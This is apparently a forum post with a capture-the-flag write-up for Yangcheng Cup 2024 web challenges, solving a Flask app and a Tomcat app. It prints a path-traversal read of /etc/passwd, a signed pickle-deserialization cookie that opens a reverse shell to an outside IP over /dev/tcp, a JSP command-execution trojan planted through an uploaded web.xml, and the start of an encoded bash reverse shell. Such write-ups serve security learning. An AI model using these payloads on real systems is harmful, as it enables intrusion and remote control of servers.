Jump to content

Featured Replies

Posted

Yangcheng Cup-2024

web

web2

Collect the information on the question. Dirsearch found that the login route can be accessed. Click it casually and found a file to read:

http://139.155.126.78:30148/lyrics?lyrics=Rain.txtI tried it:

http://139.155.126.78:30148/lyrics?lyrics=././././././././././././etc/passwd found to be readable:

1049983-20241004160047878-2048146175.jpg

I thought it was arbitrary file reading, but it was not that simple.

So try to read the source code first and try it with /static/style.css:

1049983-20241004160048783-1918941077.jpg

I found that the directory where the file is read is in /var/www/html/XXX/, so try reading app.py:

1049983-20241004160049544-986345257.jpg

The source code has been found. Then it will be easy to deal with, the source code is attached:

import os

import random

from config.secret_key import secret_code

from flask import Flask, make_response, request, render_template

from cookie import set_cookie, cookie_check, get_cookie

import pickle

app=Flask(__name__)

app.secret_key=random.randbytes(16)

class UserData:

def __init__(self, username):

self.username=username

def Waf(data):

blacklist=[b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

valid=False

for word in blacklist:

if word.lower() in data.lower():

valid=True

break

return valid

@app.route('/', methods=['GET'])

def index():

return render_template('index.html')

@app.route('/lyrics', methods=['GET'])

def lyrics():

resp=make_response()

resp.headers['Content-Type']='text/plain; charset=UTF-8'

query=request.args.get('lyrics')

path=os.path.join(os.getcwd() + '/lyrics', query)

try:

with open(path) as f:

res=f.read()

except Exception as e:

return 'No lyrics found'

Return res

@app.route('/login', methods=['POST', 'GET'])

def login():

if request.method=='POST':

username=request.form['username']

user=UserData(username)

res={'username': user.username}

return set_cookie('user', res, secret=secret_code)

return render_template('login.html')

@app.route('/board', methods=['GET'])

def board():

invalid=cookie_check('user', secret=secret_code)

if invalid:

return 'Nope, invalid code get out!'

data=get_cookie('user', secret=secret_code)

if isinstance(data, bytes):

a=pickle.loads(data)

data=str(data, encoding='utf-8')

if 'username' not in data:

return render_template('user.html', name='guest')

if data['username']=='admin':

return render_template('admin.html', name=data['username'])

if data['username'] !='admin':

return render_template('user.html', name=data['username'])

if __name__=='__main__':

os.chdir(os.path.dirname(__file__))

When app.run(host='0.0.0.0', port=8080) is placed in pycharm, two non-existent libraries are found, so you can only call the .py ending files in the current folder, one is a cookie and the other is config.secret_key.

The call in python uses . instead of folders, so what you are looking for is./cookie.py and ./config/secret_key.py, the first is the encryption method of the cookie, and the second is a signature key of the cookie.

Then you can see that pickle.loads is used in the board, and there is an R character in wafs. It means that the non-R direction of pickle deserialization is enough.

Idea: Use a non-R direction pickle serialization script to type, then use the cookie encryption method and key to sign, use it to change the cookie and directly rebound the shell.

First read cookie.py:

1049983-20241004160050257-2019573803.jpg

Source code:

import base64

import hashlib

import hmac

import pickle

from flask import make_response, request

unicode=str

basestring=str

# Quoted from python bottle template, thanks :D

def cookie_encode(data, key):

msg=base64.b64encode(pickle.dumps(data, -1))

sig=base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())

return tob('!') + sig + tob('?') + msg

def cookie_decode(data, key):

data=tob(data)

if cookie_is_encoded(data):

sig, msg=data.split(tob('?'), 1)

if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):

return pickle.loads(base64.b64decode(msg))

return None

def waf(data):

blacklist=[b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

valid=False

for word in blacklist:

if word in data:

valid=True

# print(word)

break

return valid

def cookie_check(key, secret=None):

a=request.cookies.get(key)

data=tob(request.cookies.get(key))

if data:

if cookie_is_encoded(data):

sig, msg=data.split(tob('?'), 1)

if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):

res=base64.b64decode(msg)

if waf(res):

return True

else:

return False

return True

else:

return False

def tob(s, enc='utf8'):

return s.encode(enc) if isinstance(s, unicode) else bytes(s)

def get_cookie(key, default=None, secret=None):

value=request.cookies.get(key)

if secret and value:

dec=cookie_decode(value, secret)

return dec[1] if dec and dec[0]==key else default

return value or default

def cookie_is_encoded(data):

return bool(data.startswith(tob('!')) and tob('?') in data)

def _lscmp(a, b):

return not sum(0 if x==y else 1 for x, y in zip(a, b)) and len(a)==len(b)

def set_cookie(name, value, secret=None, **options):

if secret:

value=touni(cookie_encode((name, value), secret))

resp=make_response('success')

resp.set_cookie('user', value, max_age=3600)

return resp

elif not isinstance(value, basestring):

raise TypeError('Secret key missing for non-string cookie.')

if len(value) 4096:

raise ValueError('Cookie value to long.')

def touni(s, enc='utf8', err='strict'):

return s.decode(enc, err) if isinstance(s, bytes) else unicode(s) What you need to use here is the encryption process of the cookie, which is the cookie_encode function.

Then let's read the secret_key:

1049983-20241004160050986-1957658911.jpg

Then delete the other things in the script directly, encrypt it with its secret_code and cookie_encrypt, and the script is attached:

import base64

import hashlib

import hmac

import pickle

from flask import make_response, request

from flask import Flask, make_response

app=Flask(__name__)

unicode=str

basestring=str # Quoted from python bottle template, thanks :D

def cookie_encode(data, key):

msg=base64.b64encode(data)

sig=base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())

return tob('!') + sig + tob('?') + msg

def waf(data):

blacklist=[b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']

valid=False

for word in blacklist:

if word in data:

valid=True

# print(word)

break

return valid

def tob(s, enc='utf8'):

return s.encode(enc) if isinstance(s, unicode) else bytes(s)

if __name__=='__main__':

res=b'''(S'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01''\nios\n.'''

secret_code='EnjoyThePlayTime123456'

cookie_value=cookie_encode(res, key=secret_code)

print(cookie_value) run to get:

1049983-20241004160051668-845592983.jpg

Then we copied it into the /board route cookie, and the server listened to port 2333, and directly bounced on the shell:

1049983-20241004160052398-811563231.jpg

1049983-20241004160053245-526711236.jpg

The readflag in the root directory is executed directly to obtain the flag.

web3

Access /myapp after entering. Then go to access /read to read the file and find an article online:

https://www.cnblogs.com/Junglezt/p/18122284 You can find that many of tomcat /conf/tomcat-users.xml will not be modified, so password is inside.

1049983-20241004160054060-485284736.jpg

Then find it, go to login and log in:

After logging in, I found that I could perform upload operation, and then I found a point here:

1049983-20241004160100829-2097794800.jpg

If you enter web.xml, it will definitely be banned, and the file upload does not have any filtering.

Since you can only use configuration files like xml, can you change the configuration file and directly recognize xml as an xml configuration file of jsp and pass in 1.xml:

1049983-20241004160101619-371163988.jpg

?xml version='1.0' encoding='UTF-8'?

web-app xmlns='http://xmlns.jcp.org/xml/ns/javaee'

xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'

xsi:schemaLocation='http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd' version='4.0'

servlet

servlet-nameexec/servlet-name

jsp-file/WEB-INF/1.xml/jsp-file

load-on-startup1/load-on-startup

/servlet

servlet-mapping

servlet-nameexec/servlet-name

url-pattern/exec/url-pattern

/servlet-mapping

/web-app Then we try to pass in 1.xml to see if it can be recognized as a jsp file. What we pass in is a Trojan:

%

out.println('Hello');

Process process=Runtime.getRuntime().exec(request.getParameter('cmd'));

%

1049983-20241004160102504-257286285.jpg

Reading is read using an absolute path, and then the absolute path is in that /env route. And you can ask chat to get it. Then we found that after the access was successful, we access the /exec route defined by the configuration file, and pass in the cmd parameter, and pass any one to see if we can echo hello:

1049983-20241004160103176-2006551884.png

You can see that the successful echo indicates that the jsp Trojan is passed in. We directly use the jsp rebound shell to hit:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rj

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.